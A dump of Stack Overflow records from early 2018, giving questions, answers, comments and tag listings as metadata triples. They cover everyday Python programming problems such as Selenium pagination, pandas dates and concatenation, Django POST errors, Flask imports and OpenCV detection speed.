has body: I am trying to scrape data from this webpage http://stats.espncricinfo.com/ci/engine/stats/index.html?class=1;team=5;template=results;type=batting I need to copy the contents from the table and put them in a csv file, then go the next page and append the contents of those page into the same file. I am able to scrape the table but however when I try to loop over clicking next button using selenium webdriver's click, it goes to the next page and stops. This is my code. driver = webdriver.Chrome(executable_path = 'path') url = 'http://stats.espncricinfo.com/ci/engine/stats/index.html?class=1;team=5;template=results;type=batting' def data_from_cricinfo(url): driver.get(url) pgsource = str(driver.page_source) soup = BeautifulSoup(pgsource, 'html5lib') data = soup.find_all('div', class_ = 'engineTable') for tr in data: info = tr.find_all('tr') # grab data next_link = driver.find_element_by_class_name('PaginationLink') next_link.click() data_from_cricinfo(url) Is there anyway to click next for all pages using a loop and copy the contents of all pages into the same file? Thanks in advance.
score: 1
tagged with: web-scraping
upvote count: 1
type: Question

http://stackoverflow.com/q/48673059
tagged with: pandas
has answer: http://stackoverflow.com/a/48675226
favorite count: 0
tagged with: datetime
tagged with: python
has title: Getting datetime from space seperated .dat file - python/pandas
tagged with: jupyter-notebook
duplicate of: http://stackoverflow.com/q/32204631
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/48673325
accepted answer: http://stackoverflow.com/a/48673325
type: Question
has comment: http://stackoverflow.com/comment/84344724
has body: I am trying to import a space separated .dat file using pandas and strip values to make a date. The data looks like this (three rows of data taken from the entire dataset for reference): 2.0140000e+003 1.0000000e+000 1.0000000e+000 0.0000000e+000 0.0000000e+000 0.0000000e+000 2.7454583e+000 1.8333542e+002 -3.3580352e+001 2.0140000e+003 1.0000000e+000 2.0000000e+000 0.0000000e+000 0.0000000e+000 0.0000000e+000 -6.1330625e+000 2.5187292e+002 -1.3752231e+001 2.0140000e+003 1.0000000e+000 3.0000000e+000 0.0000000e+000 0.0000000e+000 0.0000000e+000 -3.0905729e+001 2.1295208e+002 -2.4507273e+001 The first six numbers make up the date (year, month, day, hour, minute, second). I can import the data using: df = pd.read_csv('daily.dat', sep='\s+', header=None) and it is separated fine. However, I would like to strip the first six entries of the row into a date. For example, from row one the first six numbers (or first six columns after importing to df) should make: 2014-01-01 00:00:00 Help?
tagged with: dataframe
linked to: http://stackoverflow.com/q/32204631
possible better answer: http://stackoverflow.com/a/48675226
upvote count: 3
answer count: 2
downvote count: 2

http://stackoverflow.com/comment/84299036
type: Comment
has text: @OmarGonzales: you may want to change that in your question, then.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48649444

http://stackoverflow.com/q/48790214
has title: Post methods doesn't work in Django 1.8, Python3 TypeError: can't concat bytes to str
has comment: http://stackoverflow.com/comment/84640569
has comment: http://stackoverflow.com/comment/84605943
type: Question
has body: When I try to use forms with a POST method, I'm getting a TypeError: can't concat bytes to str. It's not only happening when I use my forms, but when I input login/password for admin panel too. Environment: Request Method: POST Request URL: http://photofresh.site/blog/post_new/ Django Version: 1.8 Python Version: 3.5.0 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'bootstrap3', 'blog'] Installed Middleware: ['django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware'] Traceback: File "/usr/local/lib/python3.5/site-packages/django/core/handlers/base.py" in get_response 125. response = middleware_method(request, callback, callback_args, callback_kwargs) File "/usr/local/lib/python3.5/site-packages/django/middleware/csrf.py" in process_view 174. request_csrf_token = request.POST.get('csrfmiddlewaretoken', '') File "/usr/local/lib/python3.5/site-packages/django/core/handlers/wsgi.py" in _get_post 137. self._load_post_and_files() File "/usr/local/lib/python3.5/site-packages/django/http/request.py" in _load_post_and_files 272. self._post, self._files = QueryDict(self.body, encoding=self._encoding), MultiValueDict() File "/usr/local/lib/python3.5/site-packages/django/http/request.py" in body 233. self._body = self.read() File "/usr/local/lib/python3.5/site-packages/django/http/request.py" in read 292. return self._stream.read(*args, **kwargs) File "/usr/local/lib/python3.5/site-packages/django/core/handlers/wsgi.py" in read 51. result = self.buffer + self._read_limited() Exception Type: TypeError at /blog/post_new/ Exception Value: can't concat bytes to str Here is my HTML form. I …
downvote count: 0
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84587750
type: UnansweredQuestion
tagged with: django
upvote count: 1
tagged with: python
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/84591505

http://stackoverflow.com/q/48757325
tagged with: python
tagged with: opencv
has comment: http://stackoverflow.com/comment/84515747
downvote count: 1
type: Question
has body: How to have a single of output image with 2 filters including half of greyscale and half of sobel
has comment: http://stackoverflow.com/comment/84515722
score: -1
has title: How to have 2 filters in 1 image opencv
has comment: http://stackoverflow.com/comment/84517339
upvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48766973
type: UnansweredQuestion

http://stackoverflow.com/q/48738653
has comment: http://stackoverflow.com/comment/84487865
type: AnsweredQuestion
tagged with: python-import
has comment: http://stackoverflow.com/comment/84476999
accepted answer: http://stackoverflow.com/a/48750591
answer count: 1
tagged with: flask
has body: I got stuck on import error when running python manage.py db migrate for my Flask app. I tried a lot of combinations with import statements in traceback files (general, local). Traceback (most recent call last): File "src/manage.py", line 7, in &lt;module&gt; from api import app, db File "/api/src/api.py", line 6, in &lt;module&gt; import auth.views File "/api/src/auth/views.py", line 3, in &lt;module&gt; import models File "/api/src/models.py", line 2, in &lt;module&gt; from api import app ImportError: cannot import name 'app' Any idea?
has title: Python ImportError inside project files
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/48750591
type: Question

http://stackoverflow.com/comment/84371295
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48671224
type: QuestionComment
has text: Its in the command line environment

http://stackoverflow.com/q/48668269
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has body: This is an easy Html. Title When i post an image to the server(third party) , the server(third party) returned the json and changed my web.. { code: "success", data: { width: 440, height: 440, filename: "timg.jpg", storename: "5a7b1807506b2.jpg", size: 11941, path: "/2018/02/07/5a7b1807506b2.jpg", hash: "m8FqIYBGWL1HDrT", timestamp: 1518016519, ip: "111.29.138.47", url: "https://i.loli.net/2018/02/07/5a7b1807506b2.jpg", delete: "https://sm.ms/delete/m8FqIYBGWL1HDrT" } } my question is how to POST this json to my background and how to don't change my web ..
answer count: 0
duplicate of: http://stackoverflow.com/q/166221
type: UnansweredQuestion
tagged with: django
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84334357
score: 1
type: Question
linked to: http://stackoverflow.com/q/166221
has title: how to post callback to Background

http://stackoverflow.com/q/48651156
favorite count: 0
has body: I have tried this a few ways and am stumped. My last attempt generates an error that says: "ValueError: Plan shapes are not aligned" So I have a dataframe that can have up to about 1,000 columns in it based on data read in from an external file. The columns are all going to have their own labels/names, i.e. "Name", "BirthYear", Hometown", etc. I want to add a row at the beginning of the dataframe that runs from 0 to (as many columns as there are), so if the data ends up having 232 columns, this new first row would have values of 0,1,2,3,4....229,230,231,232. What I am doing is creating a one-row dataframe with as many columns/values as there are in the main ("mega") dataframe, and then concatenating them. It throws this shape error at me, but when I print the shape of each frame, they match up in terms of length. Not sure what I am doing wrong, any help would be appreciated. Thank you! colList = list(range(0, len(mega.columns))) indexRow = pd.DataFrame(colList).T print(indexRow) print(indexRow.shape) print(mega.shape) mega = pd.concat([indexRow, mega],axis=0) Here is the result... 0 1 2 3 4 5 6 7 8 9 ... 1045 \ 0 0 1 2 3 4 5 6 7 8 9 ... 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 0 1046 1047 1048 1049 1050 1051 1052 1053 1054 [1 rows x 1055 columns] (1, 1055) (4, 1055) ValueError: Plan shapes are not aligned
tagged with: shapes
has answer: http://stackoverflow.com/a/48651273
upvote count: 1
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48651273
score: 1
has comment: http://stackoverflow.com/comment/84302569
has comment: http://stackoverflow.com/comment/84300506
has title: Add row in pandas DF as numeric column index?
type: Question
has comment: http://stackoverflow.com/comment/84300341
tagged with: pandas
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/84506927
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48733373
score: 0
has text: I already explained why. Calling `doc.write()` before `outFile.open()` simply makes no sense. If you open a file for writing, it will immediately truncate it. Why do you even create a `QFile` in that context, given that you don't ever actually write anything to it? A file-name is just a string, not a file-handle.

http://stackoverflow.com/a/48792804
accepted answer of: http://stackoverflow.com/q/48792648
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84622267
downvote count: 0
has body: What you have isn't bad. All I can think of is explicitly checking for an iterable and using a ternary statement. In other words, only use join when you have an iterable. from collections import Iterable joined = str(x) if not isinstance(x, Iterable) else ','.join(map(str, x))
upvote count: 2
answers question: http://stackoverflow.com/q/48792648
type: AcceptedAnswer

http://stackoverflow.com/comment/84594111
type: QuestionComment
type: Comment
has text: I think that you're right, but have to transpose after import (or at least I think that I do), so that's where I'm currently stuck.
comment on: http://stackoverflow.com/q/48794940
score: 0

http://stackoverflow.com/comment/84367356
type: Comment
type: QuestionComment
has text: @MartijnPieters Sure, but that's clearly not a useful search to somebody who doesn't already know about `fg`, which is the audience that needs to find it.
comment on: http://stackoverflow.com/q/48684991
score: 0

http://stackoverflow.com/a/48788865
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48788498
has body: You need to open the output file in binary mode: file = open("temp.hdf", 'wb') # was 'w' Better would be to use with to automatically close the file: with open("temp.hdf", 'wb') as out: ftp.retrbinary('RETR '+ filename, out.write)
score: 3
upvote count: 3
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48788498

http://stackoverflow.com/a/48688943
score: 0
upvote count: 1
downvote count: 1
has body: Without groupby k=df.Market.unique().tolist() list(TeamMembers.keys()) Out[31]: ['Julia', 'Tyler', 'Kyle'] d=dict(zip(k,random.sample(set(list(TeamMembers.keys())), 2))) df.Member=df.Member.fillna(df.Market.map(d))
answers question: http://stackoverflow.com/q/48688231
type: Answer

http://stackoverflow.com/comment/84516347
comment on: http://stackoverflow.com/q/48757521
has text: Yes, it is possible. If you are looking for a more helpful answer, you must write a more helpful question: include your code and address specific concerns.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48705901
upvote count: 3
downvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48675435
answers question: http://stackoverflow.com/q/48675435
has comment: http://stackoverflow.com/comment/93699173
has comment: http://stackoverflow.com/comment/91850465
type: Answer
has comment: http://stackoverflow.com/comment/93609274
score: 2
has body: It's true that python-social-auth will use some bits of the Google+ platform, at least the API to retrieve details about the user to fill in the account. From your settings, I see you have associate_by_email at the bottom, at that point, at that point it has no use since the user is already be created, if you really plan to use it, it must be before the create_user one, you can check the DEFAULT_PIPELINE as a reference. In order to get a refresh_token from google, you need to tell it that you want one, to do that you need to set the offline access type: SOCIAL_AUTH_GOOGLE_OAUTH2_AUTH_EXTRA_ARGUMENTS = { 'access_type': 'offline' } With that setting Google will give you a refresh_token and it will automatically stored in extra_data.

http://stackoverflow.com/q/48788438
tagged with: pandas
linked to: http://stackoverflow.com/q/46773603
type: UnansweredQuestion
tagged with: python
tagged with: excel
answer count: 0
type: Question
has body: I'm completely new to both pandas and excel management with python. I've got 2 numpy arrays: One with values One with % Each of them forms a matrix of 26*26 which will be written in an excel sheet, in the same file. To simplify, we can take an example of 4*4. This matrix are triangular. I create a pandas df for each of this matrix, and then replace 0 value by "". df = pd.DataFrame(matrix, columns=col) df = df.astype(str) df.replace(['0', '0.0'], '', inplace=True) Once it's done, I write it to excel: df.to_excel(df.writer, sheet_name="Name", index=False) I get : f 20 50 100 150 20 val1 val2 val3 val4 50 val5 val6 val7 100 val8 val9 150 val10 EDIT: As you can see, I don't want to fill cells with 0 values. The problem is that the values are stored as text in excel; and not as numeric values (floats). I've tried this command before saving the writer, but it didn't change anything: df.apply(pd.to_numeric, errors='ignore') How can I fix this? The second question is about the values: some of them have far too many digits (in the % sheets). One quick example: 0.1586111111111111 How can I reduce this to 0.1586? Thanks for the help!
has comment: http://stackoverflow.com/comment/84580313
has comment: http://stackoverflow.com/comment/84579151
score: 0
has title: Pandas DF elts conversion and modification

http://stackoverflow.com/comment/84416533
type: AnswerComment
score: 0
type: Comment
has text: Hey Ian. Thank you! I posted this also as a Selenium Issue and they said the same thing. I will edit the Question to add a link to that issue.
comment on: http://stackoverflow.com/a/48706859

http://stackoverflow.com/comment/134631158
has text: similarly getting error from another library (unittest mock) when calling unittest.main(), instead setup a testsuite+runner ```suite = unittest.TestLoader().loadTestsFromTestCase(TestSen5xI2cDevice) unittest.TextTestRunner().run(suite)```
comment on: http://stackoverflow.com/a/62473247
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/48758098
type: Answer
accepted answer of: http://stackoverflow.com/q/48757836
score: 40
answers question: http://stackoverflow.com/q/48757836
has body: You could use this: from datetime import datetime datetime.fromtimestamp(int("1518308894652")) But python says the year is out of range (understandably, considering it says it's 50087). So I suspect that serverTime is not a normal timestamp. But assuming the response that you got was the timestamp, so you don't need to do any other conversions other than turning the string into an int. Edit: Turns out the docs say "All time and timestamp related fields are in milliseconds." So just divide the response by 1000 and you'll be fine: datetime.fromtimestamp(int("1518308894652")/1000). Source
upvote count: 41
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84581044
has comment: http://stackoverflow.com/comment/84517234
has comment: http://stackoverflow.com/comment/84517289
downvote count: 1
has comment: http://stackoverflow.com/comment/84559768

http://stackoverflow.com/a/66290251
type: Answer
answers question: http://stackoverflow.com/q/48668763
score: 0
has body: I was also doing the migration and I've recorded it in short post: Migrating form SqlLite to Postgresql in Flask

http://stackoverflow.com/a/48676209
has comment: http://stackoverflow.com/comment/84387176
has comment: http://stackoverflow.com/comment/84790433
upvote count: 2
has comment: http://stackoverflow.com/comment/84351262
has comment: http://stackoverflow.com/comment/84391962
answers question: http://stackoverflow.com/q/48675954
has comment: http://stackoverflow.com/comment/84391163
has body: There a few different paths one can follow here. (1) If P(x,y,z) factors as P(x,y,z) = P(x) P(y) P(z) (i.e., x, y, and z are independent) then you can sample each one separately. (2) If P(x,y,z) has a more general factorization, you can reduce the number of variables that need to be sampled to whatever's conditional on the others. E.g. if P(x,y,z) = P(z|x, y) P(y | x) P(x), then you can sample x, y given x, and z given y and x in turn. (3) For some particular distributions, there are known ways to sample. E.g. for multivariate Gaussian, if x is a sample from a mean 0 and identity covariance Gaussian (i.e. just sample each x_i as N(0, 1)), then y = L x + m has mean m and covariance S = L L' where L is the lower-triangular Cholesky decomposition of S, which must be positive definite. (4) For many multivariate distributions, none of the above apply, and a more complicated scheme such as Markov chain Monte Carlo is applied. Maybe if you say more about the problem, more specific advice can be given.
type: Answer
has comment: http://stackoverflow.com/comment/84388639
downvote count: 0
has comment: http://stackoverflow.com/comment/84756673
has comment: http://stackoverflow.com/comment/84351184
score: 2

http://stackoverflow.com/comment/84539461
has text: @Arne thanks that clarifies it, the snakefood author chose to do it that way. Possibly it is also Mac versus Linux behaviour.. "some shells"
type: AnswerComment
comment on: http://stackoverflow.com/a/48769111
score: 0
type: Comment

google-oauth
type: Tag
tags question: http://stackoverflow.com/q/48675435
tag name: google-oauth

http://stackoverflow.com/comment/84483037
type: QuestionComment
comment on: http://stackoverflow.com/q/48741315
has text: Then share the code to generate those
score: 0
type: Comment

http://stackoverflow.com/comment/84518637
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48758789
type: QuestionComment
has text: looks like there's a lib, function for that [scipy.ndimage.measurements.label](https://docs.scipy.org/doc/scipy-0.16.0/reference/generated/scipy.ndimage.measurements.label.html)

http://stackoverflow.com/comment/84440038
comment on: http://stackoverflow.com/q/48714492
score: 0
has text: Or mmap it (https://docs.python.org/3.6/library/mmap.html#module-mmap).
type: Comment
type: QuestionComment

getpixel
type: Tag
tag name: getpixel
tags question: http://stackoverflow.com/q/48735829

http://stackoverflow.com/a/48772045
downvote count: 0
upvote count: 6
has body: Several collections exist, but your probably looking for ArrayList In Python you can simply declare a list like so: myList = [] and begin using it. In Java, it better to declare from the interface first so: List&lt;String&gt; myList = new ArrayList&lt;String&gt;(); Python Java append add Remove remove len(listname) list.size Sorting a List can require a little more work, for example, depending on the objects you may need to implement Compactor or Comparable. ArrayList will grow as you add items, no need to extend it on your own. As for reverse() and pop(), I'll refer you can refer to: How to reverse a list in Java? How to pop items from a collection in Java?
answers question: http://stackoverflow.com/q/48772017
score: 6
type: Answer

http://stackoverflow.com/comment/84584503
comment on: http://stackoverflow.com/a/48785682
type: AnswerComment
score: 0
type: Comment
has text: Ouch.Then, is it possible for you to export your preferences? I will try it in my local and see what is wrong with it.

http://stackoverflow.com/q/48731307
tagged with: python
has title: OpenAcc + Cython not working
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84466092
has comment: http://stackoverflow.com/comment/84467876
tagged with: http://stackoverflow.com/tag/c
tagged with: cython
has comment: http://stackoverflow.com/comment/84466583
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/84469728
downvote count: 0
has body: I have some C++ code that I'd like to accelerate using OpenACC. I call the C++ from python using cython, but when I add OpenACC pragmas it doesn't seem to work. I tried a simple program: #include &lt;stdio.h&gt; #define N 2000000000 #define vl 1024 int main(void) { double pi = 0.0f; long long i; #pragma acc parallel vector_length(vl) #pragma acc loop reduction(+:pi) for (i=0; i&lt;N; i++) { double t= (double)((i+0.5)/N); pi +=4.0/(1.0+t*t); } printf("pi=%11.10f\n",pi/N); return 0; } When compiling this with gcc pi.c -fopenacc -foffload=nvptx-none -foffload="-O3" -O3 -o gpu.x it works perfectly. I then tried wrapping this in cython with a very simple .pyx file: cdef extern from "pi.c": int main() def func(): return main() My setup.py file looks like this: from distutils.core import setup from distutils.extension import Extension from Cython.Build import cythonize extensions = [Extension(name="cpi", sources=["cpi.pyx"], extra_compile_args=["-O3", "-fopenacc", "-foffload=nvptx-none"], extra_link_args=["-lgomp", "-fno-lto"], language="c")] setup(ext_modules = cythonize(extensions)) Building with python setup.py build_ext --inplace works but when I try to call the function from python I get an error: "libgomp: target function wasn't mapped" When I try building without the -fno-lto flag I get the error "ImportError: ....so: undefined symbol: __offload_func_table" after calling it in python. I haven't found anything similar on the internet...
score: 4
tagged with: openacc
favorite count: 0

http://stackoverflow.com/comment/84626299
has text: i understand you knew the loops were the same length (since w,h were square) but the variable list scopes you were using weren't. you were putting putting [y][x] equal to Cell(x,y). so they weren't being referenced correctly.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48799728

http://stackoverflow.com/q/48706664
has comment: http://stackoverflow.com/comment/84412045
tagged with: python
type: AnsweredQuestion
downvote count: 1
type: Question
tagged with: opencv
has answer: http://stackoverflow.com/a/48706819
has body: I am trying to do object detection from raspberry pi by getting frames from three webcam camera's attached to raspberry. currently I have three types of objects which I want to detect so I trained three cascade classifiers as following . opencv_traincascade -data data -vec positives.vec -bg bg.txt -numPos 1200 -numNeg 1000 -numStages 11 -minHitRate 0.999 -maxFalseAlarmRate 0.2 -w 24 -h 24 I am getting the frames from three cameras in a loop and passing each frame to Detection class . obj_detection= ObjectDetection() for name in camera_names: if name not in self.cv2_window_name: self.cv2_window_name.append(name) frame = datavector[name] width, height, channel = frame.shape frame=cv2.resize(frame,(int(width/1),int(height/2)),interpolation=cv2.INTER_AREA) #resizing image helped a little but didnt helped much frame = obj_detection.detect(frame) print(time.time()) #to check frame rate currently showing 4 frames per second cv2.imshow(name, frame) cv2.waitKey(1) # CV2 Devil in ObjectDetection class self.objs['Traffic light']= cv2.CascadeClassifier("../1.xml") self.objs['Stop']= cv2.CascadeClassifier("../2.xml") self.objs['No Left'] = cv2.CascadeClassifier("../3.xml") def detect(self,image): self.image=image objects = [key for key in self.objs] t={} for type in objects: t[type]=Thread(target = self.detect_obj,args=(self.objs[type],self.image,type)) t[type].start() [t[type].join() for type in objects] return self.image def detect_obj(self,classifier,image,type=""): self.image=image gray_image = cv2.cvtColor(self.image , cv2.COLOR_BGR2GRAY) obj=classifier.detectMultiScale( gray_image, scaleFactor=1.02, minNeighbors=2, minSize=(50,50), flags=cv2.CASCADE_SCALE_IMAGE ) for (x,y,w,h) in obj: cv2.rectangle(self.image,(x,y),(x+w,y+h),(255,219,0),2) The problem is that i am getting 4-5 frames per second after detection but I need at least 10 frames per second. Is there anything I can try to speed up the detection ?? Any help would be highly appreciated . NOTE I have also tried Using…
score: -1
tagged with: cascade-classifier
upvote count: 0
has title: Object detection with openCV cascade classifiers taking too much time
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48706819

http://stackoverflow.com/q/48724140
answer count: 2
downvote count: 0
favorite count: 0
tagged with: python-3.x
has title: Replacing Text in another file with a separate program
has body: I have two files: text and program.py I insert text into my text file using the line: inp=input('Text by the user') with open("text.py", "a") as myfile: myfile.write(inp) How can i make the program delete the line in text having it say: text2 not text1 text2 when run two times?
tagged with: python
possible better answer: http://stackoverflow.com/a/48741188
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48741188
has answer: http://stackoverflow.com/a/48724260
upvote count: 3
tagged with: file
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/48724260

http://stackoverflow.com/comment/84441596
type: Comment
type: QuestionComment
has text: Thanks a lot guys. So there is no obvious way to implement this without a hidden input field or javaScript?
comment on: http://stackoverflow.com/q/48720697
score: 0

http://stackoverflow.com/comment/84333411
type: AnswerComment
has text: Thanks for your solution but I made a mistake in my calculations of the coordinates in the step before int(i + gp[0] + radius),int(j + gp[1] + radius) which means I nead my indizes separated into 2D coordinates not 1D.
type: Comment
comment on: http://stackoverflow.com/a/48662969
score: 0

http://stackoverflow.com/comment/84484062
type: Comment
has text: @MartinEvans yes i kown ssl is by default in python 2.7 but when i `import ssl` it also give ssl error `Can't connect to HTTPS URL because the SSL module is not available.`
type: QuestionComment
comment on: http://stackoverflow.com/q/48687362
score: 0

http://stackoverflow.com/comment/84362504
type: Comment
comment on: http://stackoverflow.com/a/48682456
score: 6
has text: No, it's about limiting the number of __requests per second__, how many times per second you send a request. The number of simultaneous requests depends on how long these requests take, but the API we want to use does not limit that.
type: AnswerComment

http://stackoverflow.com/a/48917599
has body: I am new but when I tried your code and get the same error. I went through the dev tools and it seems the element is not located properly thus confusing selenium. this may help
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48799913

http://stackoverflow.com/comment/84394055
type: AnswerComment
score: 0
type: Comment
has text: Windows file locking in no way prevents *opening* a file. File locking is applied to regions of a file and only gets checked when attempting to read from or write to a locked region. Access to opening a file multiple times is protected by a separate I/O sharing mechanism that applies to files opened for read/execute, write/append, or delete access. See [creating and opening files](https://msdn.microsoft.com/en-us/library/aa363874) for a discussion of how the sharing mode works.
comment on: http://stackoverflow.com/a/48692556

http://stackoverflow.com/q/48722825
answer count: 0
has comment: http://stackoverflow.com/comment/84444465
score: 1
has comment: http://stackoverflow.com/comment/84832892
has comment: http://stackoverflow.com/comment/84880071
tagged with: multiprocessing
type: Question
has title: How to make CherryPy server spawn more processes (use multiple cpu cores)?
has comment: http://stackoverflow.com/comment/84715056
has comment: http://stackoverflow.com/comment/84824481
upvote count: 1
has body: I can't find any documentation on spawning multiple processes for cherrypy web server. Currently I only use multiple threads: ... server = cherrypy._cpserver.Server() ... server.thread_pool = 30 But as threading performance gain in python is limited by GIL I want to spawn more processes so the server will use more cores to execute the wsgi app's code, what is the correct way to do it? I am also using systemd with the following service config: [Service] ExecStart=...path to the server script... User=... StandardOutput=null Restart=always What should I do?
tagged with: cherrypy
favorite count: 0
has comment: http://stackoverflow.com/comment/84459066
type: UnansweredQuestion
tagged with: python
downvote count: 0

http://stackoverflow.com/comment/84333437
type: QuestionComment
comment on: http://stackoverflow.com/q/48667844
type: Comment
score: 1
has text: check if the current value is to be skipped and if so then write `continue` which will restart with the next value of the for loop

http://stackoverflow.com/q/48724187
has comment: http://stackoverflow.com/comment/84447384
type: Question
has answer: http://stackoverflow.com/a/48724708
has body: I have two files, file1 is a csv with several hundred rows and 12 columns, file2 is a list with several hundred values. What is the easiest way to compare each value from file1, col(0) to each value in file 2, then delete the file1 row if there is a match to any value in file2? I tried using this code to do the matching part, but get a syntax error, I think because python will not allow two concurrent readers: initialAvail = open('py_all1.csv') Reader1 = csv.reader(initialAvail) data_list1 = list(csv.reader(initialAvail)) IpodPLexcl = open('ipod_py.csv', 'a') Reader2 = csv.reader(IpodPLexcl) data_list2 = list(csv.reader(IpodPLexcl)) for i in range(1, len(data_list1)): Reader1item = int(data_list1[i][0]) for j in range(1, len(data_list2)): Reader2item = int(data_list2[i][0]) if Reader1item == Reader2item: compareMatch = True print(compareMatch) Do I have to do a dictionary (since the second file is just a list, not a csv with multiple cols)?
downvote count: 0
has comment: http://stackoverflow.com/comment/84447246
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
has title: Easiest way to delete rows with a column value matching value in separate file list?
tagged with: python
accepted answer: http://stackoverflow.com/a/48724708
favorite count: 0
has comment: http://stackoverflow.com/comment/84447409
has comment: http://stackoverflow.com/comment/84447846
upvote count: 1
type: AnsweredQuestion
score: 1

http://stackoverflow.com/a/50726698
downvote count: 0
has body: You can use moto python library to mock aws dynamodb, https://github.com/spulec/moto moto uses a simple system based upon python decorators, describing the AWS services. Here is an example: import unittest import boto3 from moto import mock_dynamodb2 class TestDynamo(unittest.TestCase): def setUp(self): pass @mock_dynamodb2 def test_recoverBsaleAssociation(self): table_name = 'test' dynamodb = boto3.resource('dynamodb', 'us-east-1') table = dynamodb.create_table( TableName=table_name, KeySchema=[ { 'AttributeName': 'key', 'KeyType': 'HASH' }, ], AttributeDefinitions=[ { 'AttributeName': 'key', 'AttributeType': 'S' }, ], ProvisionedThroughput={ 'ReadCapacityUnits': 5, 'WriteCapacityUnits': 5 } ) item = {} item['key'] = 'value' table.put_item(Item=item) table = dynamodb.Table(table_name) response = table.get_item( Key={ 'key': 'value' } ) if 'Item' in response: item = response['Item'] self.assertTrue("key" in item) self.assertEquals(item["key"], "value")
upvote count: 25
answers question: http://stackoverflow.com/q/48711004
type: Answer
has comment: http://stackoverflow.com/comment/127238405
has comment: http://stackoverflow.com/comment/117397927
score: 25

http://stackoverflow.com/comment/84438691
score: 0
type: Comment
type: QuestionComment
has text: It answers your question and explains every last detail of what's happening and why you get that output. I don't see a problem with closing this as a duplicate. Would you prefer to get a 3-word answer "Use `functools.wraps`" instead?
comment on: http://stackoverflow.com/q/48719662

numpy
tags question: http://stackoverflow.com/q/48709574
tags question: http://stackoverflow.com/q/48744607
tags question: http://stackoverflow.com/q/48707748
tags question: http://stackoverflow.com/q/48716451
tags question: http://stackoverflow.com/q/48676528
tags question: http://stackoverflow.com/q/48786388
tags question: http://stackoverflow.com/q/48737810
tags question: http://stackoverflow.com/q/48758876
tags question: http://stackoverflow.com/q/48764485
tags question: http://stackoverflow.com/q/48755701
tags question: http://stackoverflow.com/q/48724936
tags question: http://stackoverflow.com/q/48781815
tags question: http://stackoverflow.com/q/48724264
tags question: http://stackoverflow.com/q/48789361
tags question: http://stackoverflow.com/q/48756111
tags question: http://stackoverflow.com/q/48710431
tags question: http://stackoverflow.com/q/48773480
tags question: http://stackoverflow.com/q/48696979
tags question: http://stackoverflow.com/q/48754033
tags question: http://stackoverflow.com/q/48669719
tags question: http://stackoverflow.com/q/48760129
tags question: http://stackoverflow.com/q/48722901
tags question: http://stackoverflow.com/q/48666775
tags question: http://stackoverflow.com/q/48727120
tags question: http://stackoverflow.com/q/48736160
tags question: http://stackoverflow.com/q/48750689
tags question: http://stackoverflow.com/q/48798979
tags question: http://stackoverflow.com/q/48720559
tags question: http://stackoverflow.com/q/48652737
tags question: http://stackoverflow.com/q/48736080
tags question: http://stackoverflow.com/q/48722010
tags question: http://stackoverflow.com/q/48724861
tags question: http://stackoverflow.com/q/48764607
tags question: http://stackoverflow.com/q/48687720
tags question: http://stackoverflow.com/q/48798893
tags question: http://stackoverflow.com/q/48785833
tags question: http://stackoverflow.com/q/48709794
tags question: http://stackoverflow.com/q/48696344
tags question: http://stackoverflow.com/q/48735135
tags question: http://stackoverflow.com/q/48647338
tags question: http://stackoverflow.com/q/48680232
tags question: http://stackoverflow.com/q/48767067
tags question: http://stackoverflow.com/q/48776200
tags question: http://stackoverflow.com/q/48704526
tags question: http://stackoverflow.com/q/48782812
tags question: http://stackoverflow.com/q/48678313
tags question: http://stackoverflow.com/q/48705865
tags question: http://stackoverflow.com/q/48748055
tags question: http://stackoverflow.com/q/48672327
tags question: http://stackoverflow.com/q/48711046
tags question: http://stackoverflow.com/q/48657765
tags question: http://stackoverflow.com/q/48710508
tags question: http://stackoverflow.com/q/48754823
tags question: http://stackoverflow.com/q/48706145
tags question: http://stackoverflow.com/q/48696016
tags question: http://stackoverflow.com/q/48691464
tags question: http://stackoverflow.com/q/48686428
tags question: http://stackoverflow.com/q/48786215
tags question: http://stackoverflow.com/q/48747328
tags question: http://stackoverflow.com/q/48680197
tags question: http://stackoverflow.com/q/48767998
tags question: http://stackoverflow.com/q/48648374
tags question: http://stackoverflow.com/q/48686934
tags question: http://stackoverflow.com/q/48724449
tags question: http://stackoverflow.com/q/48776665
tags question: http://stackoverflow.com/q/48735465
tags question: http://stackoverflow.com/q/48732021
tags question: http://stackoverflow.com/q/48729365
tags question: http://stackoverflow.com/q/48690048
tags question: http://stackoverflow.com/q/48776502
tags question: http://stackoverflow.com/q/48669796
